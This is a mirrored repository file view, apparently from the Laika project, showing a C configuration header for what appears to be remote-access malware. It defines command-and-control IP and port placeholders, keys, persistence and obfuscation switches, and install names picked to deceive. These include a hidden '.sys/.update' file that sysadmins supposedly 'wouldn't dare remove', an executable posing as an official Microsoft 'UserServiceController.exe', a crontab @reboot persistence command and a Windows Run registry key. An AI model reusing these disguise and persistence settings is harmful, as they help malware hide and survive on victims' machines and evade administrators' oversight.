mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-22 13:00:05 +00:00
CPunch
e3a1f51d60
- if defined, enables LAIKA_BOX obfuscation for variables - new macros (LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END), become no-ops if LAIKA_OBFUSCATE is undefined - TODO: use cmake to automate the generation of lboxconfig.h
47 lines
1.6 KiB
C
47 lines
1.6 KiB
C
#ifndef LAIKA_CONFIG_H
|
|
#define LAIKA_CONFIG_H
|
|
|
|
/* version info */
|
|
#define LAIKA_VERSION_MAJOR @LAIKA_VERSION_MAJOR@
|
|
#define LAIKA_VERSION_MINOR @LAIKA_VERSION_MINOR@
|
|
#define LAIKA_VERSION_COMMIT "@GIT_VERSION@"
|
|
|
|
/* keys */
|
|
#define LAIKA_PUBKEY "@LAIKA_PUBKEY@"
|
|
#define LAIKA_PRIVKEY "@LAIKA_PRIVKEY@"
|
|
#define LAIKA_CNC_IP "@LAIKA_CNC_IP@"
|
|
#define LAIKA_CNC_PORT "@LAIKA_CNC_PORT@"
|
|
|
|
/* settings */
|
|
#cmakedefine LAIKA_PERSISTENCE
|
|
|
|
#cmakedefine LAIKA_OBFUSCATE
|
|
|
|
/* raw obfuscated strings */
|
|
|
|
/* =============================================[[ Linux Strings ]]============================================== */
|
|
|
|
/* we want a semi-random file lock that is stable between similar builds,
|
|
* so we use the GIT_VERSION as our file lock :D */
|
|
#define LAIKA_LIN_LOCK_FILE "/tmp/" LAIKA_VERSION_COMMIT
|
|
|
|
/* most sysadmins probably wouldn't dare remove something named '.sys/.update' */
|
|
#define LAIKA_LIN_INSTALL_DIR ".sys"
|
|
#define LAIKA_LIN_INSTALL_FILE ".update"
|
|
|
|
#define LAIKA_LIN_CRONTAB_ENTRY "(crontab -l ; echo \"@reboot %s\")| crontab -"
|
|
|
|
/* ============================================[[ Windows Strings ]]============================================= */
|
|
|
|
/* we want a semi-random mutex that is stable between similar builds,
|
|
* so we use the GIT_VERSION as our mutex :D */
|
|
#define LAIKA_WIN_MUTEX LAIKA_VERSION_COMMIT ".0"
|
|
|
|
/* looks official enough */
|
|
#define LAIKA_WIN_INSTALL_DIR "Microsoft"
|
|
#define LAIKA_WIN_INSTALL_FILE "UserServiceController.exe"
|
|
|
|
#define LAIKA_WIN_REG_KEY "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
|
#define LAIKA_WIN_REG_VAL "UserServiceController"
|
|
|
|
#endif |